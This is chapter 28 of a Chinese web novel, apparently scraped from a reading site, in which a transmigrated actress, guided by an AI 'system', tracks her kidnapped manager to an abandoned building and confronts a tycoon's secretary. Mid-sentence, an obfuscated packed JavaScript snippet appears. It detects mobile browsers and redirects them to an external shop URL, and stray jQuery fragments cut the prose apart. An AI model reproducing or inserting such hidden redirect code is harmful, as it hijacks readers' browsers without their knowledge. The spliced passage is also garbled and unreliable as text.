28. 第 28 章
作品:《顶流她每天都想退圈[穿书]》 商晚眼珠不错地盯着脑海中那六名绑匪的照片,问系统:“你能查到杨姐现在在哪儿吗?”
系统的声音带着轻微的电流感:“杨经纪最后一次出现在监控中的时间是今天下午四点三十四分,A市北郊,玉兰路西900米处。
“根据我这边的大数据监测情况看,一共可推算出三个概率较大的绑匪据点。”
系统一边说,一边从后台调出一幅地图,将三个光点圈在了地图上。
商晚的呼吸微微一顿。
医院里,顾浔的手依旧覆盖在商晚手背上,冰凉如刺,仿佛某种无用的安慰。
商晚面色平静地看向顾浔,说:“顾总,我想向你借一批人。”
手术室外,暮色已至。
顾浔回答商晚:“好。”
晚上七点。
商晚让司机将车开到了一处荒芜的烂尾楼下。
那是系统经过大数据测算,定位出的三个绑架地点中,绑匪藏身可能性最高的一处。
夜色渐渐包裹了一整片人烟罕至的大地。
司机将车停在指定地点,商晚弯腰从车里走下来。
大概是昨天才下过雨的缘故,烂尾楼下污糟的泥水和无数工业垃圾搅在一起,正散发出一股刺鼻的气味。
系统赶在在商晚提问之前,把眼前所有的建筑物都扫描了一遍。
几秒钟后,它将信息同步给商晚:“宿主,经扫描,您身后七点钟位置的那幢烂尾楼里有人类活动痕迹。”
商晚呼吸微微发紧。
她问系统:“里面的人都还活着吗?”
系统:“活着。烂尾楼里目前一共有七个人,五男两女,所有人的生命体征都很正常。”
冰凉的晚风拂面而来,吹散了一点商晚脑中沸腾的怒火。
事情的发展并没有出乎她的预料。
傅家严只是想要她离开傅沉,并不是要跟她结仇。
他让人绑架杨姐,只是为了告诫她,人总会有软肋——
她这么一只小蚂蚁,承担不起和傅氏集团作对的代价。
商晚按了按自己的眉心,抬起不小心沾上烂泥的鞋子,在保镖们的拱卫下,一言不发地走向了系统给她指出来的那幢烂尾楼。
傅家严猜得一点都没错,她确实承担不起这份名为“杨明亦”的代价。
从穿到这具身体里的第一天起,商晚就清楚地知道,这具身体的原主是个什么样的人。
她刁蛮、任性、自我、为达目的不择手段,身上更有种天真的残忍——
她是所有言情故事里最经典的恶毒女配模板。
商晚看小说的时候,从来没有对她生出过一丝一毫怜爱。
她显然是作者的工具人,专用来给读者拉仇恨的。
可是,在这个虚假的世界里,却有一个人不问缘由地爱着她。
杨姐爱着商南枝。
她关心商南枝,了解商南枝,纵容商南枝,每天都劳心劳力地跟在商南枝后面给她擦屁股。
商晚不得不承认,她是个卑劣的人。
她一面看不上劣迹斑斑的商南枝,一面却又贪婪地默许着杨姐对她这个鸠占鹊巢者的偏爱。
更过分的是,她为了完成任务,为了自己活下来,居然还不管不顾地把杨姐丢到了这么危险的环境里。
难道纸片人的命就不是命吗?
她凭什么为了自己活命,就让别人替她承担风险呢?
商晚一面想,一边踩上了烂尾楼的台阶。
五分钟后。
商晚喘着粗气,抬头看了一眼面前仿佛永远也望不到尽头的楼梯,心底才生出来的那点百转千回的悲愤算是彻底被累嗝屁了。
她略带绝望地问系统:“不是,这楼到底有多高啊?”
系统:“……”
它三分钟前才听到宿主信誓旦旦地说,爬上去之后一定弄死傅家严呢!
这才爬了几层啊?
宿主这也太不中用了!
它平静道:“宿主,这栋楼一共有26层。”
商晚:“……”
天杀的绑匪,这不是要她的命吗!
被死死捏住运动量不足这条软肋的商晚崩溃地看了一眼眼前的楼梯,认命道:“我不行了。”
十五分钟后,已经完全不行了的商晚被保镖驾着,手脚并用地爬上了顶楼。
她满头大汗,两腿发软地站在通往天台的大门前,不住地喘气。
身后的保镖替她推开了天台上的大铁门。
伴随着沉重的一声“吱呀”,门被推开了。
出乎商晚的意料——
首先映入眼帘的,既不是她脑海中构想过无数遍的,杨姐浑身是伤的恐怖片;也不是一众□□分子手持刀枪剑戟,预备一言不合就和她火并的□□片。
反倒是颇为温情。
一道熟悉又温和的女声迎接了商晚的到来。
那人走到她面前,朝她微微点头致意,说:“商小姐果然有手腕,您来的可比我想象中要快多了。”
一边说,一边还十分关心地朝她递来一张餐巾纸,道:“商小姐一路辛苦,要不要先擦擦汗?”
商晚:“……”
她不可置信地看了一眼面前的人,问系统:“不是,傅家严那老登不会觉得自己这样很有风度吧?
“违法乱纪的事他说干就干,这会儿我跟他都撕破脸了,他居然让人在我面前演起来了——
“他精神分裂吗?”
系统:“……”
该说不说,宿主还蛮会吐槽的。
隔着面前斑驳的水泥地,商晚皮笑肉不笑地接过对面这人递来的纸巾,看也不看就扔在地上,冷淡道:“我经纪人呢?”
面对商晚如此失礼的动作,来人半点也不恼怒,反而露出一个相当温和的笑容。
她说:“商小姐先别急,我们傅董事长说了……”
“范秘书——”
面前这人的话没能说完,因为商晚干脆利落地打断了她。
透过手电筒不算明亮的光晕,商晚直视面前这位范秘书的眼睛,语气从容得像在说今晚吃什么:“你们做秘书的都这样吗?别人问东你答西。
“一天天只会用‘我们董事长说了’来搪塞人——
“这么没有主见,难怪这么多年过去了,你们老傅总还是只叫你处理傅氏集团的花边新闻,半点公司事务也不舍得交到你手里。”
话音落地,范秘书的嘴角猛地抽搐了一下。
商晚的话无疑戳中了她的痛处。
好半晌,范秘书才重新挂上那副职业笑容,道:“没关系,商小姐心中有气,我能理解。
“我们傅董事长说了,让我尽力满足您的一切需求。
“既然您想先看看杨经纪人,我自然也不会拒绝。”
说着,范秘书就朝身后抬了抬手。
身后空旷的天台上霎时亮起数道探照灯的强光,整栋烂尾楼被彻底点亮。
刺目的光芒晃得商晚下意识眯了一下眼睛。
几秒钟后,商晚在那些亮如白昼的灯光下看到了杨姐的身影。
杨姐被锁在一个巨大的铁笼里。
她倒在笼子里,整个人微微蜷缩着,裸露在外的身体部位虽然看不出有什么皮肉伤,但却面色惨白,双眼紧闭,仿佛一具已经失去了呼吸的,真正的尸体。
商晚的眼皮剧烈跳动了一下。
有那么一瞬间,商晚甚至怀疑,她这会儿要是手里有刀的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098905|194421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,大概率已经举着就朝对面冲过去了。
好在,系统的声音唤醒了她的最后一丝理智。
“宿主,杨经纪只是被注射了少量镇定剂而已,她现在的生命体征没有任何问题。”
商晚闭了闭眼睛。
距她一步之遥的地方,范秘书却仿佛很满意她此刻的表情。
她微微含笑,问商晚:“人见到了,商小姐现在能跟我继续往下谈了吗?”
商晚冷笑以对:“傅董事长可真是艺高人胆大,他弄出这么大的动静,就不怕我报警吗?”
范秘书脸上的表情半点也不变,笃定道:“商小姐不会的。”
紧接着,她就好像是为了验证自己的说辞似的,朝身后的人使了个眼色。
看清楚范秘书眼神示意的保镖转头走向天台另一边,商晚微微皱眉,下一瞬,她耳边就猝不及防地响起了一阵机器发动声。
那个锁着杨明亦的巨大铁笼毫无预兆地被一根铁链吊了起来。
二十六楼顶端的漆黑天幕中,铁笼子轻轻摇晃。
那根生锈的铁链随风吱呀,仿佛随时都有可能不堪重负,彻底坠进深不见底的黑暗中。
杨明亦仍旧闭着眼睛,对她此刻正面临的万丈深渊一无所知。
商晚的额角的青筋猛地抽动了一下。
她勉强维持了一整晚的冷静和克制一寸寸裂开,化成一种难言的愤怒。
她咬牙切齿地说:“范秘书,傅家严那个老东西究竟想干什么?难不成他真的以为,当众杀人可以不付出代价吗?”
范秘书脸上仍旧是那副斯文又温和的表情,和她不久之前现身剧组招商会现场,预备拿一个亿砸晕商晚的模样一般无二。
她四平八稳地说:“商小姐说笑了。
“先前我同您谈判失败,您当众下了我的面子,所以我对您怀恨在心,私自绑架了您的经纪人,这跟我们傅董事长有什么关系?”
一番话说得滴水不漏,商晚差点被她气笑了。
眼前的范秘书胜券在握,商晚看着她,满腔的愤怒还没消下去,心底忽然很突兀地又升上来一点猜疑。
傅家严猜得没错,杨姐的的确确是她的软肋。
可是,绑架她的家属,逼迫和她和男朋友分手这样无聊的戏码,真的是傅家严想出来的吗?
那位动不动就下狠手杀人全家的老傅总,真有这么柔善吗?
她要是这头答应,等傅家严一把杨姐放了,她扭头就去找傅沉复合,傅家严能拿她怎么样?
就算她确实是个蠢货,答应了别人就非得遵守了承诺不可——
只要傅沉不放弃,在她提出分手后照旧对她死缠烂打,傅家严又能怎么办?
直接找人把她做掉,难道不是这件事情最干脆利落的解法吗?
有什么必要兜这么大个圈子?
这不对劲。
商晚想,作为原书里能跟男主斗上整整三年,还斗得有来有回的大反派,傅家严不可能会干这么蠢的事情。
心底的猜疑唤醒了一丝理智。
商晚看向范秘书:“你直说吧,傅家严那老东西到底想要什么?”
范秘书微微一笑,好像压根没听见商晚对他们傅董事长十分不尊重的称呼,只恭维她道:“和商小姐这样的聪明人打交道果然轻松——
“不瞒您说,我们傅董事长其实是很欣赏您的,您长得漂亮,做事果决,事业方面经营得也相当不错……”
突如其来的夸赞让商晚不自觉皱紧了眉头。
面前这人指定没憋什么好屁。
果然,下一瞬,范秘书图穷匕见。
她道:“我们傅董事长希望您能考虑一下,跟傅沉少爷分手,跟我们傅铎少爷结婚。”

